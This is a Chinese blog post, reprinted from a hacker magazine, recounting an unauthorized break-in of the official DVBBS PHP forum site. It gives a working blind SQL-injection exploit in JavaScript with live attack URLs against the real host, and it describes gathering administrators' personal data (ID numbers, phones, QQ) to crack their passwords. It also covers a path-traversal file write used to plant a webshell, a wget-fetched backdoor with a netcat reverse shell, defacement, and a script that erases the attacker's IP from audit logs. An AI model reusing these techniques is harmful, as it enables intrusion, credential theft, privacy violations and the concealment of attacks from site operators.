拿下DVBBS php官网

文章作者:oldjun[S.U.S]
信息来源:oldjun’s blog(www.oldjun.com/blog)

注意:文章已经发表在2008第7期《黑客防线》上,转载请注明出处。(最近拿站比较多,没来得及写日志,拿这篇文章凑数!)

几 个月前,DVBBS php2.0暴了一个可以直接读出管理员密码的sql注入漏洞,当时这个漏洞出来的时候,我看的心痒,怎么还会有这么弱智的漏洞,DVBBS php2.0这套代码我还没仔细看过,于是5月中旬我down下来粗略看了下,接着我花了三天的时间,拿下p.dvbbs.net,即动网php的官方网 站,并得到了webshell。总的来说,这次入侵凭的是二分技术加一分运气。

一、 SQL注入漏洞:
晚上检查了好久,终于在topicother.php中发现了一处sql注入漏洞,但是并不像前段时间暴的漏洞那么简单,因为不能把密码直接读出数据库并显示出来,这是个活动帖子的报名主函数,我简单搜索了下,1.0好像后来就增加了这个功能。好了,来看具体函数:

function PostActive_Main(){
……
$TopicID = $GLOBALS[‘id’];
$activeid = trim($_GET[‘activeid’]);//activeid并没有过滤
$timemode = $_POST[‘payment’];
$systemmode = trim($_POST[‘contact’]);
$message = trim($_POST[‘message’]);

$gettimemode = trim($_POST[‘timemode’]);
$getstarttime = trim($_POST[‘starttime’]);
$getendtime = trim($_POST[‘endtime’]);
$getexpiretime = trim($_POST[‘expiretime’]);

if($timemode ==0)
$costnum = 0;
else
$costnum = intval(trim($_POST[‘payvalue’]));
//直接带进来使用了
if( $query = $db->query(“SELECT u1.sex,u1.strength,u2.usersex FROM {$dv}active as u1,{$dv}user as u2 WHERE activeid={$activeid}”)){
$activeinfo =& $db->fetch_array($query);
if( !empty($activeinfo) ) {
$db->free_result($query);
}
}
if( $num = $db->query(“SELECT count(*) as num from {$dv}activeuser where activeid='”.$activeid.”‘”)){
$activenum = $db->fetch_array($num);
if( !empty($activenum) ) {
$db->free_result($num);
}
}

//如果查取的activeid不正确或者后面注入的条件不成立,则显示显示str1:对不起!本活动报名人数已满!
if($activenum[‘num’]>=$activeinfo[‘strength’]){
head(0,0,0,$arrNavMenu);
showmsg($lang[‘Active_Error.str1’]);
exit;
}
//如果activeid正确(后面注入的条件也成立),但没有登陆,就显示str2:请登陆后操作!
if ($userid==0) {
head(0,0,0,$arrNavMenu);
showmsg($lang[‘Active_Error.str2’]);
exit;
}

//如果activeid正确并且已经登陆了,递交的时候没有递交联系方式,则会显示str6这个错误:对不起联系方式不能为空或小于8个字符!
if (”==$systemmode||strlen($systemmode)<8) {
head(0,0,0,$arrNavMenu);
showmsg($lang[‘Active_Error.str6’]);
exit;
}

}

首先先确定有没有activeid为1的活动帖子,就是在论坛目录后加上
topicother.php?t=9&action=join&activeid=1
显示“对不起!本活动报名人数已满!”则有可能不存在,自己注册个号进去发个活动帖子先。

根 据上面解释,大家是否已经看出来该怎么注入啦,并不是什么都需要工具的,想当年ACCESS手工注入又不是没注入过,判断条件正确就返回正常,错误就不正 常显示;这里不也是同样的道理么,不管有没登陆,出错都显示:“对不起!本活动报名人数已满!”,如果判断条件正确,没有登陆的话显示:“请登陆后操 作!”,已经登陆了显示:“对不起联系方式不能为空或小于8个字符!”于是当晚我手动测试了一下官方,并成功获得了一个管理员的16位MD5的密码。兴奋 的去睡觉,躺在床上却怎么也睡不着:怎么去更简单的利用呢?一边思考,一边入睡,睡着的时候天都亮了。

5个小时后,睡醒了继续搞,因为没有 开发那种application程序的经验,所以我没想去写个exp工具,但一直手工多麻烦啊,记得以前开发网站的时候用ajax去get或者post数 据并回显的,这里是不是也一样可以?于是自己尝试写,轻轻松松写出个单一判断md5某一位的ajax代码,可是在写循环的时候却出错了,后来flyh4t 上线丢给我一段代码,我参考了一下然后一个可以读任意DVBBS php站点管理员密码的基于页面的Exploit code搞定了(列出主要代码):

function sendCall(i,j,url,w,p) {
if (p==”temp”){p=url}
//后台密码、用户名、关联的前台用户名
switch(parseInt(w)){
case 0:url = p+”/**/and/**/ascii(mid(password,”+i+”,1))=”+j+”)/**/”;break;
case 1:url = p+”/**/and/**/ascii(mid(username,”+i+”,1))=”+j+”)/**/”;break;
case 2:url = p+”/**/and/**/ascii(mid(adduser,”+i+”,1))=”+j+”)/**/”;break;
//前台密码、用户名
case 3:url = p+”/**/and/**/ascii(mid(userpassword,”+i+”,1))=”+j+”)/**/”;break;
case 4:url = p+”/**/and/**/ascii(mid(username,”+i+”,1))=”+j+”)/**/”;break;
}
if (window.ActiveXObject) {
xmlHttp = new ActiveXObject(“Microsoft.XMLHTTP”);
} else if (window.XMLHttpRequest) {
xmlHttp = new XMLHttpRequest();
//解决FF中跨域问题
try{
netscape.security.PrivilegeManager.enablePrivilege( “UniversalBrowserRead “);
} catch (e) {
alert( “Permission UniversalBrowserRead denied. “);
}
}
xmlHttp.onreadystatechange = function() {
if(xmlHttp.readyState == 4 && xmlHttp.status ==200) {
var str = xmlHttp.responseText;
var md5hash=document.getElementById(“md5hash”);
if(!str.match(/\u672c\u6d3b\u52a8\u62a5\u540d\u4eba\u6570\u5df2\u6ee1/)) {
pass += String.fromCharCode(j);
md5hash.innerHTML = pass;
j = 48;
i++;
}
else {
if(j == 59&&(parseInt(w)==0||parseInt(w)==3)) { j = 96; }
else { j++; }
}

if(pass.length >= 16) { alert(“Exploitation Successfull!. Admin MD5 Hash(or username): “+pass); return true; }
sendCall(i,j,url,w,p);
}
}
xmlHttp.open(‘GET’, url, true);
xmlHttp.send(null);
}

工具不支持中文用户名,但支持字母+数字+常用符号组合。

接着就简单啦,先判断下官网后台的管理员人数:
http://p.dvbbs.net/topicother.php?t=9&action=join&activeid=1/**/and/**/10=(select/**/count(*)/**/from/**/dv_admin)
然后判断一下后台管理员id是从多少到多少:
http://p.dvbbs.net/topicother.php?/topicother.php?t=9&action=join&boardid=2&id=1&activeid=1/**/and/**/1=(select/**/count(*)/**/from/**/dv_admin/**/where/**/id=1)
然 后可以根据存在的后台id用工具去暴密码啦,速度还蛮快的,一会我就成功获得了后台所有的md5 password,cmd5.com去跑了下,只能跑出一个,其他不是not found就是要收费。到前台转了下,发现前台可以看到的管理员只有几个,貌似有的后台管理员前台并不显示为管理员,不过我也用工具暴出前台管理员的密 码,留着备用,查了下,也只成功跑出了一个。

由于动网的前台与后台管理员之间有对应关系,因此不能用这个管理的前台密码加上那个管理员的后 台密码去登陆后台,研究了下代码跟数据库,后台表中的adduser这个字段就是相对应的前台密码。可是既然这样,我得到的信息就无法利用,那怎么去获得 一个后台权限呢,md5的存在让注入的光华变的暗淡了,怪不得当初那个漏洞那么简单的可以读密码那些大牛们都没把官方站点拿下,官方站不存在白痴管理员 啊…

又到下午了,还是没有进展,我在想是放弃还是该怎么继续,去126邮箱翻翻ph4nt0m的一些帖子,我突然想到个方法…

二、 社会工程学:
其 实这是让我洋洋得意的地方,我自我感觉无论什么技术,都没社会工程学来的让人心动,而且只要用用心,社会工程学就可以被演绎的淋漓尽致。但是这段让我非常 兴奋的经历,我还是不能多写,因为这涉及到官方多位管理员的隐私,我只是简单的入侵检测,并不想成为别有用心之人的参考。

简单了说一下:由于adduser是中文的话,我的工具暴不了,但我可以用语句猜测(把adduser十六进制处理下就OK了):
http://p.dvbbs.net/topicother.php?t=9&action=join&activeid=1/**/and/**/1=(select/**/count(*)/**/from/**/dv_admin/**/where/**/adduser=0x…………/**/and/**/id=..)
我用..代替省略掉十六进制用户名,后面的ID也省略下。这样,我可以轻松的猜出后台某个ID对应的前台用户名,于是我找了几个管理员作为突破口。

因 为我有前台管理员权限,于是我从前台找了下所有管理员、超级版主以及可以看到的动网团队的人员的信息,并收集归拢到一个txt文件中,然后我去百度跟谷歌 搜索这些管理员的用户名,搜集一些他们平时访问的站点以及留下的信息:生日、身份证号码、QQ号码、电话号码、邮箱等等等,最后根据这些信息根据得到的 md5密码猜测可能存在的密码,终于比昏昏然茫茫然的开始好多了,实在不行的时候,我再跑到DVBBS的ASP论坛去获取相关的信息,终于到最后一个下午 的努力没有白费,我在晚上拿下了DVBBS php官方网站的后台:
dv后台
异常兴奋,我给flyh4t截了个图宣扬了下战果,然后跑到ph4nt0m发了个帖子告诉大家社会工程学的伟大(结果被众大牛牛们鄙视了…寒)

三、 后台跨目录写文件漏洞:
一天的时间,我得到后台的管理权限,真的很艰难,但革命尚未结束,还没拿到webshell呢,不过一般而言,得到了后台权限,就离webshell不远了,flyh4t说写个模板就可以搞定了,我没着急搞,先去吃个饭…

回来后,我在后台用syinfo.php?act=phpinfo看了下系统,典型的LAMP
(linux,apache,mysql,php)组合,看来要努力的还很多啊;我按照常规思路准备写个php的模板,可是新建模板的时候却出错了:
dv模板
不是0777权限,写不进去。怎么办?

后台晃悠,看看可不可以找到另外的突破口,可是很不幸,从晚上翻到凌晨都没发现有一处可以利用的地方,可能php后台拿webshell的方法我不熟,一直搞惯了asp的站,到php就思路堵塞了,百度了下方法,也没找到。难道伟大的革命要结束啦?

翻 了一会,我居然在模板页面下面看到一个建目录的地方,不过依旧没权限建,哎,linux就是麻烦,如果是windows肯定不会权限这么变态的,自己的站 一般情况下肯定可以写的,想到可写,我突然眼前一亮,对啊,这个站可以有可写的地方啊,比如上传头像上传图片或者文件,都需要可写的目录啊,linux权 限设置的虽然变态,但总会留下个可以的地方的,可是问题是我该怎么利用?

胡乱尝试了好多次跨目录建目录或者文件失败后(现在回想回想怎么会出错的,我把目录跟英文名搞混淆了),我决定不要盲目搞了,读读源代码,于是我打开admin里的template.php开始读,这不读不要紧,一读居然发现了可以跨目录写文件的漏洞。

胡乱填路径肯定出错,还有出错的原因是中文名一定要输中文名,英文名称无所谓,看代码先:
if(!is_dir($destfile)) {
if ($issafemode = ini_get(‘safe_mode’)) {
show_msg($lang[‘page_title’], str_replace(‘{$TPL_DIR}’, $destfile, $lang[‘tpl.error12’]));
footer();
exit;
}
if (!mkdir($destfile, 0777)) {
show_msg($lang[‘page_title’], $lang[‘tpl.error4’]);
footer();
exit;
}
}
看来$destfile是关键了,再看看这个变量是什么:
$destfile = simpleMapPath($_POST[‘add_directory’].’/’.$_POST[‘add_ename’]);
有个simpleMapPath在过滤啊,怪不得,再看看这个函数:
function simpleMapPath($path)
{
global $_SERVER;
if (empty($path)) {
return false;
}
$path = preg_replace(‘#(?:\\+)|(?:/+)#i’, ‘/’, $path);
if ($path{0} === ‘/’) {
$documentroot = realpath(str_replace(‘\\’, ‘/’, $_SERVER[‘DOCUMENT_ROOT’]));
return $documentroot.$path;
} elseif(substr($path, 0, 3) === ‘../’) {
return $path;
} else {
return ROOT_PATH.$path;
}
}
这段函数看的我有点无语,实在看不出来他想过滤什么…专门写了个php文件把这个函数复制进去本机测试了下,完全可以写进上一层的目录。

无论是绝对路径还是相对路径都可以轻松在uploadfile里写个目录,然后写个模板里面,编辑下,于是拿到了webshell。此时天都快亮了,想睡觉的,可是睡不着,何不一气呵成,拿下系统权限?

四、 失败的提权:
由于提权失败了,所以这部分我也简单略过,虽然这花费了我一半的时间,可是水平不济啊。管理员权限给的太变态了,除了uploadfile,其他所有目录都不可写…不管了,有可写的地方就可以了,先查下服务器版本,输入uname -a;id,返回:
Linux p.dvbbs.net 2.6.9-5.ELsmp #1 SMP Wed Jan 5 19:30:39 EST 2005 i686 i686 i386 GNU/Linux
uid=2(daemon) gid=2(daemon) groups=1(bin),2(daemon),4(adm),7(lp)
检 查了下perl 、wget,都安装上了,于是wget一个comeback.pl,接着用NC反弹下,也成功反弹回来本地shell,心想这么顺利啊,接下来就是提权 了,可是翻遍了milw0rm.com,找了各种提权的利用程序,就是没有一个能成功的,我百度谷歌了N久,网上有关linux下提权的文章非常少,有的 基本都是一个样,反弹一下然后提权,可是大家能轻松提权的prtcl.c在这里对它无可奈何…

到了下午实在太困了睡了一会儿,醒来后继续搞,但最后还是以失败告终,并且把它服务器溢出挂了,我赶紧收手,哎,我太菜了,就不做坏事了,留个页面纪念下:
黑页

五、 清理残留:
Linux下的残留我就没办法了,没提权成功,权限太小;但网站留下来的东西必须清理掉。于是写个clear.php:
define(‘ISDVBBS’, TRUE);
require ‘../inc/config.php’;
require ‘../inc/dv_clssql.php’;
$db= new sqldb();
defined(‘DV_MUF_DB_HOST’) AND ($dbhost = DV_MUF_DB_HOST);
$db->connect($dbhost, $dbuser, $dbpw, $dbname , $charset,$pconnect);
//清除我新建的模板
$db->query(“DELETE FROM dv_styles WHERE name=’啊啊啊'”);
//清除我所在的IP后台操作日志
$db->query(“DELETE FROM dv_log WHERE l_ip=’58.213.51.65′”);
echo “ok!”;
?>
传到uploadfile里面,浏览器里运行下,于是ok…

总 结:到此为止,入侵告一段落,由于水平有限,所以耗时比较多,整整三天睡了十个多小时(绝大多数时间耗在失败的提权里),这里我只想说,没有绝对安全的程 序,也没有绝对安全的网站,技术固然重要,思路也必不可少。最后感谢flyh4t给予的大力支持,感谢老婆rolin的鼓励与端茶送水:),欢迎大家访问 我的网站:http://www.oldjun.com

相关日志

楼被抢了 9 层了... 抢座Rss 2.0或者 Trackback

发表评论